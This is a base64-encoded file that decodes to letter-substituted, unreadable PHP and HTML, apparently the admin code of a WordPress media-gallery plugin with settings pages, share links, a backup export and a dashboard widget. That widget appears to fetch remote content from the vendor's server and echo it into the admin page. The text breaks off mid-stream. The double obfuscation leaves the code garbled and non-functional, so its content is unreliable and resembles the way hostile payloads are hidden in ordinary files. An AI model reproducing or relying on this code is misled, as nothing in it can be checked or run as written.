IkhmRCIsDQoJCQkJIkpmRCBWQmFoSCI9PiAiSFAiLA0KCQkJCSJKZkQgdU5qSCI9PiAiSGQiLA0KCQkJCSI5ZkhIZlciPT4gIngiLA0KCQkJCSI5ZkhIZlcgVkJhaEgiPT4gInhQIiwNCgkJCQkiOWZISGZXIHVOakgiPT4gInhkIiwNCgkJCQkiVkJhaEgiPT4gIlAiLA0KCQkJCSJ1TmpIIj0+ICJkIiwJCQkJDQoJCQkJIlhabiB1QmFoSHhmYyAoIEZOanF0ZEggKSI9PiAiTldhZHgiLA0KCQkJCSJ1QmFoSHhmYyBDIj0+ICJkeEMiLA0KCQkJCSJpcW1HZzlmYyBDIj0+ICJqeEMiLA0KCQkJCSJpcW1HZzlmYyBpUE5OIj0+ICJqeGpQTk4iLA0KCQkJCSI3ZmRmUDlmYyI9PiAiR3giLA0KCQkJCSJRUE5ISGdRaGZIZiI9PiAiREQiLA0KCQkJCSJpZmY5ZmMiPT4gImpmZnhjIiwNCgkJCQkiUWhmSGYyM0JETiI9PiAiRHIiLA0KCQkJCSJRaGZIZjlmYyI9PiAiRHhmYyIsDQoJCQkJIjhmUFVEUE5yciBKaEJHMTlmYyIgPT4gIjNESHgiLA0KCQkJCSIySGdkTiB5RSAoIEZOanF0ZEggKSI9PiAiaGZvTlBmbU4iLA0KCQkJCSIySGdkTiB5QyI9PiAiTldhb0JOMy1IM2YiLA0KCQkJCSIySGdkTiB5YiI9PiAiTldhb0JOMy1IaFBOTiIsDQoJCQkJIjJIZ2ROIHllIj0+ICJOV2FvQk4zLWpmdFAiLA0KCQkJCSJWTnJCcE4gSGYgaUJIIHJETkdCakJOVSBVQldObXJCZm1yIChtZiBHUGZEREJtYSkiPT4gInkiLA0KCQkJCSI3UGZEIHFtVSBQTnJCcE4gSGYgeE5ySCBqQkggSGhOIFVCV05tckJmbXIgKFVOanF0ZEggeE5ocW9CZnRQKSI9PiAiRSIsDQoJCQkJIlZOckJwTiBEUGZEZlBIQmZtcWRkZyBIZiBqQkggTm1IQlBOIEJXcWFOIEJtSGYgckROR0JqQk5VIFVCV05tckJmbXIiPT4gIkMiLAkJCQ0KCQkJCSJWTnJCcE4gRFBmRGZQSEJmbXFkZGcgcVVrdHJIQm1hIHJCcE4gZmogckdxZE5VIEJXcWFOIj0+ICJiIgkJCQ0KCQkJCQkJCQkJCQkNCgkpOw0KCVBOSHRQbSAkb3FkclskcmR0YV07CQ0KfQ0KDQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KLyogIFZxbVVmVyAySFBCbWENCi8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovDQpqdG1HSEJmbSBOV2FWcW1VZlcySFBCbWEoJGRObWFIaCkgew0KICAgICAgICAkZlBCYUJtcWRfckhQQm1hID0gcVBQcWdfV05QYU4oUHFtYU4oJ3EnLCdwJyksIFBxbWFOKCdBJywgJ3YnKSk7DQogICAgICAgICRmUEJhQm1xZF9ySFBCbWEgPSBCV0RkZlVOKCcnLCAkZlBCYUJtcWRfckhQQm1hKTsNCiAgICAgICAgUE5IdFBtIHJ0eHJIUChySFBfcmh0ampkTihySFBIZmRmM05QKCAkZlBCYUJtcWRfckhQQm1hKSApLCB5LCAkZE5tYUhoKTsNCiAgICB9DQoJDQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KLyogIFhtcXhkTiAyZlBIQm1hIGZqIEhoTiBaTlVCcSANCi8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovDQpqdG1HSEJmbSBOcXJXTlVCcV9HUE5xSE5fTnFyZ1dOVUJxX3JmUEhfRHFhTigpIHsNCiAgICAkTnFyV05VQnFfcmZQSF9EcWFOID0gcVVVX3J0eFdObXRfRHFhTignTlVCSC5EaEQ/RGZySF9IZ0ROPU5xcmdXTlVCcWFxZGROUGcnLCAnMmZQSE5QJywgX18oJzJmUEhOUCcsICdOcXJXTlVCcScpLCAnTlVCSF9EZnJIcicsICdOcXJnV05VQnFfZlBVTlAnLCAnTnFyV05VQnFfTnFyZ1dOVUJxX3JmUEgnKTsNCiAgICANCiAgICBxVVVfcUdIQmZtKCdxVVdCbV9EUEJtSF9ySGdkTnItJyAuICROcXJXTlVCcV9yZlBIX0RxYU4sICdOcXJXTlVCcV9EUEJtSF9yZlBIX3JIZ2ROcicpOw0KICAgIHFVVV9xR0hCZm0oJ3FVV0JtX0RQQm1IX3JHUEJESHItJyAuICROcXJXTlVCcV9yZlBIX0RxYU4sICdOcXJXTlVCcV9EUEJtSF9yZlBIX3JHUEJESHInKTsNCn0NCg0KanRtR0hCZm0gTnFyV05VQnFfTnFyZ1dOVUJxX3JmUEgoKSB7DQogICAgJE5xcmdXTlVCcXIgPSBtTjMgOFFfenROUGcoJ0RmckhfSGdETj1OcXJnV05VQnFhcWRkTlBnJkRmckhyX0ROUF9EcWFOPS1FJmZQVU5QeGc9V05tdF9mUFVOUCZmUFVOUD1BMjcnKTsgDQoJQmogKCAgJE5xcmdXTlVCcXItPmhxb05fRGZySHIoKSApIDoNCgk/Pg0KICAgIDxVQm8gR2RxcnI9IjNQcUQiPg0KICAgICAgICA8VUJvIEJVPSJCR2ZtLU5VQkgiIEdkcXJyPSJCR2ZtYkMgQkdmbWJDLURmckhyLU5xcmdXTlVCcSI+PHhQIC8+PC9VQm8+DQogICAgICAgIDxoQz48P0RoRCBfTignMmZQSE5QJywgJ05xcldOVUJxJyk7ID8+PC9oQz4NCiAgICAgICAgPEQ+PD9EaEQgX04oJzJCV0RkZyBVUHFhIEhoTiBaTlVCcSB0RCBmUCBVZjNtIHFtVSBIaE5nIDNCZGQgeE4gcnFvTlUgQm0gSGhxSCBmUFVOUC4gWk5VQnEgcUggSGhOIEhmRCAzQmRkIHFERE5xUCBqQlBySC4nLCAnTnFyV05VQnEnKTsgPz48L0Q+DQoNCgkJPFVCbyBHZHFycj0iV05IcXhmYy1oZmRVTlAiPg0KCQkJPFVCbyBHZHFycj0iRGZySHhmYyI+DQoJCQkJPGhiPjw/RGhEIF9OKCAnMmZQSCBaTlVCcScsICdOcXJXTlVCcScgKTsgPz46PC9oYj4NCg0KDQogICAgICAgIDx0ZCBCVT0iTnFyZ1dOVUJxX2RCckgiIHJIZ2ROPSJEcVVVQm1hLWROakg6RXlEYyAhQldEZlBIcW1IOyI+DQogICAgICAgICAgICA8P0RoRCAzaEJkTiggJE5xcmdXTlVCcXItPmhxb05fRGZySHIoKSApIDogJE5xcmdXTlVCcXItPkhoTl9EZnJIKCk7ID8+ICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgPGRCIEJVPSI8P0RoRCBIaE5fQlUoKTsgPz4iIEdkcXJyPSJXTm10LUJITlciPg0KICAgICAgICAgICAgICAgICAgICAgICAgPFVkIEdkcXJyPSJXTm10LUJITlcteHFQIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8VUggR2RxcnI9IldObXQtQkhOVy1ocW1VZE4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8QldhIHJIZ2ROPSJqZGZxSDpkTmpIOyBvTlBIQkdxZC1xZEJhbTpXQlVVZE47RHFVVUJtYS1IZkQ6IGVEYzsgV3FQYUJtLVBCYWhIOkV5RGM7IiByUEc9Ijw/RGhEIE5HaGYgRGR0YUJtcl90UGQoICdCV3FhTnIvcmZQSC5EbWEnICwgVUJQbXFXTihfX2lZdVhfXykgKSA/PiIgaE5CYWhIPSJDNERjOyIgM0JVSGg9IkM0RGM7Ii8+PHJEcW0gR2RxcnI9IkJITlctSEJIZE4iPjw/RGhEIE5HaGYgTnJHX2hIV2QoIE5yR19rciggSGhOX0hCSGROKHNLdXUsIHNLdXUsIGlBdTJYKSApICk7ID8+PC9yRHFtPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvVUg+DQogICAgICAgICAgICAgICAgICAgICAgICA8L1VkPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIEdkcXJyPSJXTm10LUJITlctSFBxbXJEZlBIIj48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L2RCPg0KICAgICAgICAgICAgPD9EaEQgTm1VM2hCZE47ID8+DQoNCgkJCQk8P0RoRCBOZHJOOiA/Pg0KPFVCbyBHZHFycj0iM1BxRCI+DQo8VUJvIEJVPSJCR2ZtLU5VQkgiIEdkcXJyPSJCR2ZtYkMgQkdmbWJDLURmckhyLU5xcmdXTlVCcSI+PHhQIC8+PC9VQm8+ICANCjxoQz48P0RoRCBfTignMmZQSE5QJywgJ05xcldOVUJxJyk7ID8+PC9oQz4gDQoJCTxVQm8gR2RxcnI9IldOSHF4ZmMtaGZkVU5QIj4NCgkJCTxVQm8gR2RxcnI9IkRmckh4ZmMiPg0KCQkJCTxoYj48P0RoRCBfTiggJzJmUEggWk5VQnEnLCAnTnFyV05VQnEnICk7ID8+OjwvaGI+ICAgICAgICAgICAgIA0KPEQgckhnZE49IkRxVVVCbWE6RXlEYzsiPjw/RGhEIERQQm1IaiggX18oJ3NmIEJITldyIGpmdG1VLCAzaGcgbWZIICVyR1BOcUhOIGZtTiVyPwknLCAnTnFyV05VQnEnKSwgJzxxIGhQTmo9IkRmckgtbU4zLkRoRD9EZnJIX0hnRE49TnFyZ1dOVUJxYXFkZE5QZyI+JywgJzwvcT4nKTsgPz4gPC9EPjwvVUJvPjwvVUJvPjwvVUJvPgkJCQkNCjw/RGhEIE5tVUJqOyA/PiAgICAgICAgICAgIA0KICAgICAgICAgICAgDQogICAgICAgICAgICA8P0RoRCAzRF9QTnJOSF9EZnJIVXFIcSgpOyA/Pg0KICAgICAgICA8L3RkPg0KICAgIDwvVUJvPjxVQm8gckhnZE49IkRxVVVCbWEtZE5qSDpiYkRjOyBXcVBhQm0teGZISGZXOmJ5RGMiPjxCV2EgclBHPSI8P0RoRCBOR2hmIERkdGFCbXJfdFBkKCAnQldxYU5yL1VQcWFVUGZELkRtYScgLCBVQlBtcVdOKF9faVl1WF9fKSApID8+IiBoTkJhaEg9IkNiRGM7IiAzQlVIaD0iRXdFRGM7Ii8+PC9VQm8+DQogIDwvVUJvPg0KIDwvVUJvPiAgDQoJPD9EaEQgDQp9DQoNCi8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovDQovKiAgVlhzQVpYIFFNMkogOUtKSk1zDQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KcVVVX2pCZEhOUCggJ2FOSEhOY0gnLCAnR2hxbWFOX0R0eGRCcmhfeHRISGZtJywgRXksIEMgKTsNCmp0bUdIQmZtIEdocW1hTl9EdHhkQnJoX3h0SEhmbSggJEhQcW1yZHFIQmZtLCAkSE5jSCApIHsNCkJqICggJ05xcmdXTlVCcWFxZGROUGcnID09IGFOSF9EZnJIX0hnRE4oKSkNCkJqICggJEhOY0ggPT0gJ1F0eGRCcmgnICkgew0KICAgIFBOSHRQbSAnMnFvTiBaTlVCcSc7IH0NCk5kck4gQmogKCAkSE5jSCA9PSAnS0RVcUhOJyApIHsNCiAgICBQTkh0UG0gJ0tEVXFITiBaTlVCcSc7IH0JDQoNClBOSHRQbSAkSFBxbXJkcUhCZm07DQp9DQoNCg0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCi8qICAgWk5IcXhmYyBWcUhODQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KanRtR0hCZm0gTnFyV05VQnFfUHFITl9XTkhxeGZjKCkgew0KJE5XYVBxSE4gPSAnPEQ+JzsNCiROV2FQcUhOIC49ICc8ckRxbSBySGdkTj0iR2ZkZlA6I3d3d3d3dztXcVBhQm0tZE5qSDpDRGM7IGpmbUgtckJwTjpFQ0RjOyI+VHFvTiBxIHJIZlBnIEhmIHJocVBOIHF4ZnRIIDxySFBmbWE+WHFyZyBaTlVCcSBucWRkTlBnIFFQZjwvckhQZm1hPiBOY0ROUEJObUdOPyA4TlwnVSBkZm9OIEhmIGhOcVAgZ2Z0UCBqTk5VeHFHMSBxbVUgUHFITiBTIHJIcVByIDNmdGRVIHhOIHFERFBOR0JxSE5VITwvckRxbT48eFAgLz4nOw0KJE5XYVBxSE4gLj0gJzwvRD48VUJvIHJIZ2ROPSJITmNILXFkQmFtOkdObUhOUDsiPic7DQokTldhUHFITiAuPSAnN2RCRzEgaE5QTjx4UCAvPjxxIGhQTmo9ImhISEQ6Ly8zZlBVRFBOcnIuZlBhL3J0RERmUEgvb0JOMy9EZHRhQm0tUE5vQk4zci9OcXJnLVdOVUJxLWFxZGROUGc/akJkSE5QPVMjRGZySGpmUFciIEhxUGFOSD0iX3hkcW0xIj48QldhIHJIZ2ROPSJHdFByZlA6RGZCbUhOUDsiIHJQRz0iJy5EZHRhQm1yX3RQZCggJ0JXcWFOci9qQm9OLXJIcVByLkRtYScgLCBVQlBtcVdOKF9faVl1WF9fKSApLiciIDNCVUhoPSJFeXkiIGhOQmFoSD0iQ2IiIHFkSD0iVnFITiBLciIgPjwvcT4nOw0KJE5XYVBxSE4gLj0gJzwvVUJvPic7DQpOR2hmICROV2FQcUhOOw0KfQ0KDQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KLyogICBBampCZEJxSE4NCi8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovDQpqdG1HSEJmbSBOcXJXTlVCcV9xampfV05IcXhmYygpIHsNCiROV2FQcUhOID0gJzxVQm8gckhnZE49IkhOY0gtcWRCYW06R05tSE5QOyI+PHEgaFBOaj0iaEhIRDovL2FoZnBnZHF4LkdmVy9EZHRhQm1yL3FqakJkQnFITi1EUGZhUHFXLyIgSHFQYU5IPSJfeGRxbTEiPjxCV2EgckhnZE49Ikd0UHJmUDpEZkJtSE5QOyIgclBHPSJoSEhEcjovL3JOR3RQTi5haGZwZ2RxeC5HZlcvcWpqQmRCcUhOL0JXcWFOci9HZEJObUhfckJVTl9xampCZEJxSE4uRG1hIiAzQlVIaD0iQ1N5IiBoTkJhaEg9ImJFeSIgcWRIPSJJZkJtIHNmMyEiID48L3E+JzsNCiROV2FQcUhOIC49ICc8L1VCbz4nOw0KTkdoZiAkTldhUHFITjsNCn0NCg0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCi8qICAgdWZxVSBzTjNyDQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KDQpCaiAoIE5xcmdfYU5IX2ZESEJmbSggJ05xcmdXTlVCcV9VQnJObV9VcXJtTjNyJyApID09ICdFJyApIHsNCmp0bUdIQmZtIE5XYV9QTmFCckhOUF9VcXJoeGZxUFVfM0JVYU5IcigpIHsNCglCaiAoIEd0UFBObUhfdHJOUF9HcW0oIHFERGRnX2pCZEhOUHIoICdOV2FfVXFyaHhmcVBVX3JIcUhyX0dxRCcsICdOVUJIX0RxYU5yJyApICkgKSB7DQoJCTNEX3FVVV9VcXJoeGZxUFVfM0JVYU5IKCAnTldhX1Vxcmh4ZnFQVV9ySHFIJywgX18oJ1hxcmcgWk5VQnEgbnFkZE5QZycsICdOcXJXTlVCcScpLCAnTldhX1Vxcmh4ZnFQVV8zQlVhTkgnICk7DQoJfQ0KfQ0KcVVVX3FHSEJmbSgnM0RfVXFyaHhmcVBVX3JOSHREJywgJ05XYV9QTmFCckhOUF9VcXJoeGZxUFVfM0JVYU5IcicgKTsNCg0KanRtR0hCZm0gTldhX1Vxcmh4ZnFQVV8zQlVhTkgoKSB7DQoJDQoJJG1mSEJqQk5QX2pCZE5fdFBkID0gJ2hISEQ6Ly8zMzMuYWhmcGdkcXguR2ZXL0RkdGFCbXIvTnFyZy1XTlVCcS1hcWRkTlBnL0dmbUhObUgvcWtxYy5EaEQnOw0KCQ0KCUJqICgganRtR0hCZm1fTmNCckhyKCAnR3RQZF9CbUJIJyApICkgeyAvLyBCaiBHS1Z1IEJyIHFvcUJkcXhkTiwgdHJOIEJILi4uDQoJCQkkR2ggPSBHdFBkX0JtQkgoICRtZkhCakJOUF9qQmROX3RQZCApOw0KCQkJR3RQZF9yTkhmREgoICRHaCwgN0tWdU1RSl9WWEpLVnNKVkFzMmlYViwgSFB0TiApOw0KCQkJR3RQZF9yTkhmREgoICRHaCwgN0tWdU1RSl9UWEFGWFYsIHkgKTsNCgkJCUd0UGRfck5IZkRIKCAkR2gsIDdLVnVNUUpfSllaWE1LSiwgRXkgKTsNCgkJCSREZHRhVXFIcSA9IEd0UGRfTmNORyggJEdoICk7DQoJCQlHdFBkX0dkZnJOKCAkR2ggKTsNCgkJCU5HaGYgJERkdGFVcUhxOw0KCQl9IAkNCg0KCU5kck5CaiAoIEBCbUJfYU5IKCdxZGRmM190UGRfamZETm0nKSApIHsgLy8gQmogcWRkZjNfdFBkX2pmRE5tL2pCZE5fYU5IX0dmbUhObUhyIEJyIHFvcUJkcXhkTiwgdHJOIEJILi4uDQoJCSREZHRhVXFIcSA9IGpCZE5fYU5IX0dmbUhObUhyKCAkbWZIQmpCTlBfakJkTl90UGQgKTsNCgkJTkdoZiAkRGR0YVVxSHE7DQoJfQ0KCQ0KCU5kck4geyA/Pg0KICAgIA0KICAgIDxVQm8gR2RxcnI9Ik5XYV9VcXJoeGZxUFVfM0JVYU5IIj4NCjxEIEdkcXJyPSJydHgiPllqIGdmdCBQTnFkZGcgZGZvTiBYcXJnIFpOVUJxIG5xZGROUGcsIERkTnFyTiBQTkdmV1dObVUgZnRQIERkdGFCbSBIZiBnZnRQIGpQQk5tVXIuPC9EPgkNCjx0ZCBHZHFycj0nTnFyZ1dOVUJxLXJmR0JxZCcgQlU9J05xcmdXTlVCcS1HcnJxbUJXTic+DQo8ZEIgR2RxcnI9J05xcmdXTlVCcS1qcUdOeGZmMSc+DQo8cSBmbUdkQkcxPSIzQm1VZjMuZkRObSgnaEhIRDovLzMzMy5qcUdOeGZmMS5HZlcvcmhxUE5QLkRoRD9yPUV5eSZxV0Q7RFtIQkhkTl09N2hORzEgZnRIIEhoTiA5TnJIIDhmUFVEUE5yciBRZlBIamZkQmYgcW1VIG5xZGROUGcgRGR0YUJtJnFXRDtEW3J0V1dxUGddPVhxcmcgWk5VQnEgbnFkZE5QZyBqZlAgOGZQVVFQTnJyIEhocUggQnIgRGYzTlBqdGQgcW1VIHJmIE5xcmcgSGYgR1BOcUhOIERmUEhqZmRCZiBmUCBXTlVCcSBhcWRkTlBnJnFXRDtEW3RQZF09aEhIRDovL2FoZnBnZHF4LkdmVy9EZHRhQm1yL05xcmctV05VQnEtYXFkZE5QZy1EUGYvJnFXRDtEW0JXcWFOcl1beV09aEhIRDovL2FoZnBnZHF4LkdmVy8zRC1HZm1ITm1IL3REZGZxVXIvQ3lFYi95Qy9haGZwZy1kZmFmLkRtYScsICdyaHFQTlAnLCAnSGZmZHhxUD15LHJIcUh0cj15LDNCVUhoPVNlNCxoTkJhaEg9YkNTJyk7IiBoUE5qPSJrcW9xckdQQkRIOiBvZkJVKHkpIiBIQkhkTj0iMmhxUE4iPjxySFBmbWE+aXFHTnhmZjE8L3JIUGZtYT48L3E+DQo8L2RCPg0KPGRCIEdkcXJyPSdOcXJnV05VQnEtSDNCSEhOUCc+DQo8cSBmbUdkQkcxPSIzQm1VZjMuZkRObSgnaEhIRHI6Ly9IM0JISE5QLkdmVy9yaHFQTj9ITmNIPTdoTkcxIGZ0SCBIaE4gOU5ySCA4ZlBVRFBOcnIgUWZQSGpmZEJmIHFtVSBucWRkTlBnIFFkdGFCbSAmdFBkPWhISEQ6Ly9haGZwZ2RxeC5HZlcvRGR0YUJtci9OcXJnLVdOVUJxLWFxZGROUGctRFBmLycsICdyaHFQTlAnLCAnSGZmZHhxUD15LHJIcUh0cj15LDNCVUhoPVNlNCxoTkJhaEg9YkNTJyk7IiBIQkhkTj0iSjNCSEhOUCIgR2RxcnI9IkdCUEdkTiI+PHJIUGZtYT5KM0JISE5QPC9ySFBmbWE+PC9xPg0KPC9kQj4NCjwvZEI+DQo8ZEIgR2RxcnI9J05xcmdXTlVCcS1hZmZhZE5EZHRyJz4NCjxxIGZtR2RCRzE9IjNCbVVmMy5mRE5tKCdoSEhEcjovL0RkdHIuYWZmYWROLkdmVy9yaHFQTj90UGQ9aEhIRDovL2FoZnBnZHF4LkdmVy9EZHRhQm1yL05xcmctV05VQnEtYXFkZE5QZy1EUGYvJywnJywnM0JVSGg9ZUVTLGhOQmFoSD1lU3knKTsiPjxySFBmbWE+bmZmYWROKzwvckhQZm1hPjwvcT4NCjwvZEI+DQo8L2RCPg0KPGRCIEdkcXJyPSdOcXJnV05VQnEtREJtSE5QTnJIJz4NCjxxIGZtR2RCRzE9IjNCbVVmMy5mRE5tKCdoSEhEOi8vREJtSE5QTnJILkdmVy9EQm0vR1BOcUhOL3h0SEhmbS8/dFBkPWhISEQ6Ly9haGZwZ2RxeC5HZlcvRGR0YUJtci9OcXJnLVdOVUJxLWFxZGROUGctRFBmLztXTlVCcT1oSEhEOi8vYWhmcGdkcXguR2ZXLzNELUdmbUhObUgvdERkZnFVci9DeUViL3lDL2FoZnBnLWRmYWYuRG1hO1VOckdQQkRIQmZtPVhxcmcgWk5VQnEgbnFkZE5QZyBqZlAgOGZQVVFQTnJyIEhocUggQnIgRGYzTlBqdGQgcW1VIHJmIE5xcmcgSGYgR1BOcUhOIERmUEhqZmRCZiBmUCBXTlVCcSBhcWRkTlBnJywnJywnM0JVSGg9d3l5LGhOQmFoSD1ieXknKTsiPjxySFBmbWE+UUJtSE5QTnJIPC9ySFBmbWE+PC9xPg0KPC9kQj4NCjwvdGQ+DQo8L1VCbz4NCg0KICAgIDw/RGhEDQoJCQ0KCX0NCn0NCn0NCg0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCi8qICAgRmZHdFdObUhxSEJmbSBRcWFODQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KanRtR0hCZm0gTnFyV05VQnFfR1BOcUhOX1VmR3JfRHFhTigpIHsNCiAgICAkTnFyV05VQnFfVWZHcl9EcWFOID0gcVVVX3J0eFdObXRfRHFhTignTlVCSC5EaEQ/RGZySF9IZ0ROPU5xcmdXTlVCcWFxZGROUGcnLCAnRmZHciAmIFROZEQgN05tSE5QJywgX18oJ0ZmR3IgJiBUTmREIDdObUhOUCcsICdOcXJXTlVCcScpLCAnTlVCSF9EZnJIcicsICdOV2FfVWZHcicsICdOV2FfVWZHdFdObUhxSEJmbXInKTsNCn0NCg0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCi8qICAgOXFHMXREICYgVk5ySGZQTiBRcWFODQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KanRtR0hCZm0gTnFyV05VQnFfR1BOcUhOX3hxRzFQTnJIX0RxYU4oKSB7DQogICAgJE5xcldOVUJxX1VmR3JfRHFhTiA9IHFVVV9ydHhXTm10X0RxYU4oJ05VQkguRGhEP0RmckhfSGdETj1OcXJnV05VQnFhcWRkTlBnJywgJzlxRzF0RCAmIFZOckhmUE4nLCBfXygnOXFHMXREICYgVk5ySGZQTicsICdOcXJXTlVCcScpLCAnTlVCSF9EZnJIcicsICdOV2FfeHFHMXREX1BOckhmUE4nLCAnTldhX0JXRGZQSF9OY0RmUEhfZkRIQmZtcicpOw0KfQ0KDQpqdG1HSEJmbSBOV2FfQldEZlBIX05jRGZQSF9mREhCZm1yKCkgew0KCQ0KCS8vIFhSUU1WSiBpS3M3SllNcw0KCQ0KICAgIEJqICghQnJyTkgoJF9RTTJKWydOY0RmUEgnXSkpIHsNCiAgICAgICAgPz4NCiAgICAgICAgPFVCbyBHZHFycj0iM1BxRCI+DQogICAgICAgIDxVQm8gQlU9IkJHZm0tTlVCSCIgR2RxcnI9IkJHZm1iQyBCR2ZtYkMtRGZySHItTnFyZ1dOVUJxIj48eFAgLz48L1VCbz4NCiAgICAgICAgPGhDPjw/RGhEIF9OKCc5cUcxdEQgJiBWTnJIZlBOICcuWFpuX1lKWFpfc0FaWC4nIHJOSEhCbWFyJywgJ05xcldOVUJxJyk7ID8+PC9oQz4NCiAgICAgICAgICAgIAkJPFVCbyBHZHFycj0iV05IcXhmYy1oZmRVTlAiPg0KCQkJPFVCbyBHZHFycj0iRGZySHhmYyI+DQoJCQkJPGhiPjw/RGhEIF9OKCAnOXFHMXREJywgJ05xcldOVUJxJyApOyA/PjwvaGI+DQogICAgICAgICAgICAgICAgPFVCbyBCVT0iTnFyZ1dOVUJxX3hxRzF0RCIgckhnZE49IkRxVVVCbWEtZE5qSDpFeURjICFCV0RmUEhxbUg7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxEPjw/RGhEIF9OKCc4aE5tIGdmdCBHZEJHMSA8ckhQZm1hPjlxRzF0RCBxZGQgZkRIQmZtcjwvckhQZm1hPiB4dEhIZm0sIHJnckhOVyAzQmRkIGFObU5QcUhOIHEgSTJNcyBqQmROIGpmUCBnZnQgSGYgcnFvTiBmbSBnZnRQIEdmV0R0SE5QLiBKaEJyIHhxRzF0RCBqQmROIEdmbUhxQm1yIHFkZCBHZm1qQmF0SEJmbSBmaiAnLlhabl9ZSlhaX3NBWlguJyByTkhIQm1hIGZESEJmbXIuIHNmSE4gSGhxSCBCSCBVZiA8ckhQZm1hPnNNSjwvckhQZm1hPiBHZm1IcUJtIERmckhyLCBEcWFOciwgV05VQnEsIGFxZGROUGcsIHFkeHRXciBmUCBxbWcgUE5kTm9xbUggVXFIcSwga3RySCBxZGQgJy5YWm5fWUpYWl9zQVpYLicgck5ISEJtYXIuIEpoQnIgcWRkZjNyIGdmdCBIZiBOcXJCZGcgQldEZlBIIEhoTiBHZm1qQmF0UHFIQmZtIEJtSGYgSGhCciByQkhOIGZQIHFtZkhoTlAgckJITi4nLCAnTnFyV05VQnEnKTsgPz48L0Q+DQogICAgICAgICAgICA8amZQVyBXTkhoZlU9J0RmckgnPg0KICAgICAgICAgICAgICAgIDxEIEdkcXJyPSJydHhXQkgiPg0KICAgICAgICAgICAgICAgICAgICA8P0RoRCAzRF9tZm1HTl9qQk5kVSgnTldhLU5jRGZQSC1tZm1HTicpOyA/Pg0KICAgICAgICAgICAgICAgICAgICA8Qm1EdEggR2RxcnI9Inh0SEhmbSIgSGdETj0ncnR4V0JIJyBtcVdOPSdOY0RmUEgnIG9xZHROPSc5cUcxdEQgcWRkIGZESEJmbXInLz4NCiAgICAgICAgICAgICAgICA8L0Q+DQogICAgICAgICAgICA8L2pmUFc+DQogICAgICAgIAkJCTwvVUJvPiAgICAgICAgICAgIA0KICAgICAgICAgICAgCTwvVUJvPg0KICAgICAgICAgICAgPC9VQm8+DQogICAgICAgIDw/RGhEDQogICAgfQ0KICAgIE5kck5CaiAoR2hORzFfcVVXQm1fUE5qTlBOUCgnTldhLU5jRGZQSC1tZm1HTicpKSB7DQogDQogICAgICAgICR4cUcxdERtcVdOID0gckhQX1BORGRxR04oIiAiLCAiXyIsICd4cUcxdEQiJy5ySFBIZmRmM05QICggWFpuX1lKWFpfc0FaWCApLicnKTsNCiAgICAgICAgJFVxSE4gPSBVcUhOKCJVX1dfNl9UQnIiKTsNCiAgICAgICAgJGtyZm1fbXFXTiA9ICR4cUcxdERtcVdOLiJfIi4kVXFITjsgLy8gc3FXV0JtYSBIaE4gakJkTm1xV04gM0JkZCB4TiBhTm1OUHFITlUuDQogDQogICAgICAgICRmREhCZm1yID0gYU5IX2ZES